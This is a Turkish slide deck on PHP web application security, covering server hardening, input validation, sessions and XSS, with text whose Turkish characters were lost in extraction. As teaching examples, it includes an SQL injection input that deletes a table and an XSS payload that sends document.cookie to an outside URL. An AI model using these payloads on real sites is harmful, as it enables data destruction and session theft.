PHP ile Web Uygulama Güvenliği - · PDF file© 2002, 2003 Dikey8 Bilişim Güvenliği Girişimi Web Uygulama Güvenliği Web uygulama güvenliği tek bir noktaya odaklanarak sağlanamaz;

Embed Size (px)

Citation preview

  • 2002, 2003 Dikey8 Biliim Gvenlii Giriimi

    PHP ile Web Uygulama GvenliiBurak DAYIOLU - Bur YILDIRIM

    [email protected] [email protected]

    http://www.dikey8.com

  • 2002, 2003 Dikey8 Biliim Gvenlii Giriimi

    Webde Gvenlik htiyac Webe bamllmz giderek artyor

    Uygulamalar artan biimde grev-kritik hale geliyor

    Web uygulamalar giderek karmaklayor Uygulamalarn eitlilii ve uygulamalardan

    beklentiler artyor Web giderek bir platform biimine dnyor

  • 2002, 2003 Dikey8 Biliim Gvenlii Giriimi

    Web Uygulama Gvenlii Web uygulama gvenlii tek bir noktaya

    odaklanarak salanamaz; Fiziksel Gvenlik A Altyapsnn Gvenlii Sunucu Bilgisayar Sistemlerinin Gvenlii Web Sunucu Yazlmlarnn Gvenlii Uygulama Platformunun Gvenlii letiim Gvenlii Uygulama Gvenlii stemci Gvenliibir arada deerlendirilmelidir

  • 2002, 2003 Dikey8 Biliim Gvenlii Giriimi

    A Altyapsnn Gvenlii Gvenlik duvarlar ile alar arasnda yaltm

    Web sunucuya doru yalnzca web istemlerinin gemesine izin verilmesi

    Tm dier eriimlerin kayt edilmesi ve dzenli izlenmesi

    Saldr tespit sistemleri ile a trafiinin izlenmesi Anormal/beklenmedik trafiin tespit edilmesi Bilindik web saldrlarnn tespit edilmesi Tespit edilen saldrlara hzla mdahale edilmesi

  • 2002, 2003 Dikey8 Biliim Gvenlii Giriimi

    DDoS Korumas Egress/Ingress Filtrelemesi

    Kurum ii kullanm iin rezerve edilen IP adres bloklarnda yer alan IP adreslerinden kuruma gelen ve kurumdan kan IP paketlerinin filtrelenmesi 10.0.0.0/24 192.168.0.0/24 ...

    Traffic Rate Throttle Trafiin ani artn tespit eden ve belirli bir limitten

    hzl artmasn engelleyen teknoloji

  • 2002, 2003 Dikey8 Biliim Gvenlii Giriimi

    Sunucu Sistemin Gvenlii Minimalist yaklam

    Yalnzca gerekli srelerin iletilmesi Kullanclara ve yazlmlara yalnzca gerektiince

    yetki verilmesi Sunucu sistemin ve srelerin retici tarafndan

    tavsiye edilen gvenlik ayarlarnn yaplmas Sunucu gvenlik duvarnn kullanlmas Dosya btnlk denetleyicilerinin kullanlmas altrlan tm yazlmlarn ve iletim sisteminin

    Gncel yamalarnn izlenmesi lgili olanlarnn vakit geirmeden uygulanmas

  • 2002, 2003 Dikey8 Biliim Gvenlii Giriimi

    Web Sunucusunun Gvenlii DoS Korumas

    MaxClients 200

    Olabildiince kapsaml kayt tutulmasCustomLog /var/log/httpd/access_log combined

    Gereksiz rnek uygulamalarn kaldrlmas Cgi-bin, php, asp ...

    Webden grntlenmesi uygun olmayan dosyalarn gizlenmesi

  • 2002, 2003 Dikey8 Biliim Gvenlii Giriimi

    Web Sunucusunun Gvenlii -2 Dizin listelemesinin iptal edilmesi

    Options Indexes

    ...

  • 2002, 2003 Dikey8 Biliim Gvenlii Giriimi

    PHP Ortamnn Gvenlii PHP ayar dosyasnda en azndan aadaki

    ayarlar yaplm olmaldr display_errors = off log_errors = on error_log = /usr/local/apache/logs/php-errors file_uploads=off allow_url_fopen=off

  • 2002, 2003 Dikey8 Biliim Gvenlii Giriimi

    letiim Gvenlii stemci ve sunucu arasnda TLS/SSL kullanlmas

    iletiim gizliliini salayabilir letiim nc ahslar tarafndan dinlenemez SSL, saysal sertifikalar ile sunucu ve istemcinin

    birbirinin kimliini dorulamasna da imkan verir SSL ve sunucu performansna etkisi

    Tm iletiimin ifrelenmesi, ok sayda istemcinin olduu durumda ciddi bir sunucu yk oluturacaktr

    En azndan kredi kart bilgilerinin alnd, kullanc ad ve parolalarn alnd ekranlarda kullanlmas nerilir

    SSL-hzlandrclar ifrelemeden doan performans probleminin zmlenmesi iin kullanlabilir

  • 2002, 2003 Dikey8 Biliim Gvenlii Giriimi

    PHP Uygulamalarnn Gvenlii Formlar ve Veri Girileri Kullanc Dorulama Oturum Ynetimi ve erezler Cross-Site Scripting

  • 2002, 2003 Dikey8 Biliim Gvenlii Giriimi

    Form Alanlarnn Denetimi Uzunluun denetimi

    Alan tarma (ing. buffer-overflow) saldrlar eriin denetimi

    Yalnzca uygun harflere izin ver (alternatifi olan yasak harfleri aradan ok daha baarl

    Sokuturma (ing. injection) saldrlar Command injection SQL injection ...

  • 2002, 2003 Dikey8 Biliim Gvenlii Giriimi

    SQL Sokuturma rnei Kaynak koddaki ilgili blm

    Kullanc gvenlik girdiinde

    Kullanc ; DELETE FROM HABERLER-- girdiinde

    $query = SELECT HBASLIGI FROM HABERLER WHERE HABER LIKE % . $aramakriteri . %;

    SELECT HBASLIGI FROM HABERLER WHERE HABER LIKE %gvenlik%

    SELECT HBASLIGI FROM HABERLER WHERE HABER LIKE %; DELETE FROM HABERLER--%

  • 2002, 2003 Dikey8 Biliim Gvenlii Giriimi

    SQL Sokuturma Sonucu

  • 2002, 2003 Dikey8 Biliim Gvenlii Giriimi

    Form Alanlarnn Denetimi - 2 Radyo ve ekmeli listelerden gelecek bilgiler de

    denetlenmelidir

    ODT

    Hacettepe nv.

    stanbul nv.

  • 2002, 2003 Dikey8 Biliim Gvenlii Giriimi

    Beklenmedik Form Alanlar PHP uygulamalarnda kullanc tarafndan

    gnderilen form alanlar otomatik olarak global bir deiken olarak tanmlanr(d): test.php adndaki deneme program yalnzca no

    parametresi alyor iken test.php?no=5&enbuyuk=1 biiminde arlabilir

    PHP 4.2.0 ncesinde enbuyuk otomatik olarak bir global deiken olarak tanmlanyor

    PHP 4.2.0 ile birlikte superglobal kavram geldi $_GET $_POST $_GET[no]

  • 2002, 2003 Dikey8 Biliim Gvenlii Giriimi

    Gizli Deikenler ve Metodlar Gizli Deikenler (Hidden Variables)

    Kullancya emanet edilen sunucu ile ilgili bilgidir Gvenilir deildir; kullanclar deerini deitirebilir Mmkn olduunca kullanmndan kanlmaldr

    GET/POST metodlar ve gvenlik GET ile gnderilen form alanlar tarayc adres

    ubuunda grnr Gvenlik asndan herhangi bir farklar yoktur Formunuzu hangi metod ile bilgi gnderecek biimde

    tanmladysanz yalnzca o metod ile gelen bilgileri deerlendiriniz

  • 2002, 2003 Dikey8 Biliim Gvenlii Giriimi

    Kullanc Dorulama Kullanc dorulama mmkn ise SSL zerinden

    gerekletirilmelidir Kullanclar sunucunun doruluundan emin olur Kullanclar ve sunucular arasndaki iletiim

    dinlenemez Kullanc dorulama bilgileri ifrelenmi biimde

    depolanmaldr Mmkn ise kullanc parolalarnn belirli

    aralklar ile yenilenmesi salanmaldr

  • 2002, 2003 Dikey8 Biliim Gvenlii Giriimi

    Kaba Kuvvet Saldrlar Kullanclarn kaliteli parola semesine yazlm

    destei Kullanc adnn m yoksa parolann m yanl

    girildii bildirilmemelidir N sefer yanl parola girii denemesi sonunda

    hesap kilitlenebilir ya da hesabn sahibi bilgilendirilebilir

    N sefer yanl parola girii sonrasnda giriimde bulunan IP geici sre ile hizmetten alkoyulabilir

    Her yanl girite sistem daha ge yant verebilir

  • 2002, 2003 Dikey8 Biliim Gvenlii Giriimi

    Oturum Ynetimi HTTP protokol oturum temelli deildir

    Tm sayfalar ve bu sayfalara yaplan istekler bamszdr

    Bu model web uygulamalar iin uygun deildir Web uygulamalar durum ile ilgili bilgiyi saklamak ve

    kullanmak istemektedir Cookieler ve parametreler ile oturum oluturulmas

    stemcide saklanan bilgi ile son durumun her yeni istekte batan oluturulmas

    http://www.dikey8.com/index.php?PHPSESSID=fb15c97f84e437455be7284860af541f

  • 2002, 2003 Dikey8 Biliim Gvenlii Giriimi

    Oturum Gvenlii stemci tarafnda olabildiince az bilgi

    saklanmal, saklanan bilgilere de gvenilmemelidir Cookieler ierisinde geerli kullanc ad, kredi kart

    gibi bilgiler kesinlikle saklanmamaldr Bir saldrgan cookieleri deitirebilir Cookieler alnabilir

    Cookieler ya da URL ile istemler arasnda tanan bilgiler yalnzca kullanc tanmlaycs ile snrl olmaldr Oturum ile ilikilendirilmi tm dier bilgiler sunucu

    zerinde saklanmaldr PHPnin oturum ilevleri bu modelde almak zere

    tasarlanm ve gelitirilmitir

  • 2002, 2003 Dikey8 Biliim Gvenlii Giriimi

    Kullanc Tanmlaycs Gvenlii

    Kullanc tanmlaycs olarak seilen belirteler sradan atanmamal, geni bir aralktan rastgele seilmelidir Kolayca tahmin edilemeyen kullanc tanmlayclar

    Tanmlayclar, sunucu tarafnda oturum ile ilgili dier bilgiler ile elenmelidir stemci IP adresi, tarayc marka/modeli, ... Bir tanmlayc ile, rnein, farkl bir IP adresinden

    istem geldiinde bu istem bir saldr olarak deerlendirilmelidir

  • 2002, 2003 Dikey8 Biliim Gvenlii Giriimi

    Oturum Gvenlii Oturum denetimi iin HTTP_REFERERn

    kullanlmas uygun deildir Bir nce ziyaret edilen sayfa (HTTP_REFERER) istemci

    tarafndan gnderilen bir bilgidir Bir saldrgan diledii adresi bir nce ziyaret ettiim

    sayfa olarak sunucuya gnderebilir

  • 2002, 2003 Dikey8 Biliim Gvenlii Giriimi

    Cross-Site Scripting Bir kullanc tarafndan girilen bilgilerin bir baka

    kullanc tarafndan grntlenebildii durumlar dikkatle incelenmelidir Forumlar, ziyareti defterleri, webmail vb.

    Girilebilecek bilgiler iinde yer alabilecek HTML TAGleri dier kullanclarn bu bilgileri nasl grntleyeceini de deitirebilir

    window.open("http://www.dikey8.com?cook="+document.cookie);

  • 2002, 2003 Dikey8 Biliim Gvenlii Giriimi

    Cross-Site Scripting Mmknse kullanclar tarafndan girilen

    bilgilerin baka kullanclarca grntlenebilmesinden kanlmaldr

    Bunun mmkn olmad durumlarda aadaki TAGler elenmelidir

    Aadaki nitelikleri barndran TAGlerin tm

    elenmelidir

  • 2002, 2003 Dikey8 Biliim Gvenlii Giriimi

    zet Web uygulamalarnn gvenliinin salanmas

    kurumlar iin yaamsal nemli olabilir Web uygulama gvenlii tek bir noktaya

    odaklanarak salanamaz A altyapsnn, sunucu sistemlerinin, sunucu

    yazlmlarn, iletiimin ve uygulamalarn gvenliinin bir arada ele alnmas gerekmektedir

    Uygulama gelitirme srecinde Kullanclara ve onlarn eylemlerine gvenilmemesi stemci bilgisayar sistemleri zerinde olabildiince az

    bilgi depolanmaskonularna zellikle dikkat edilmelidir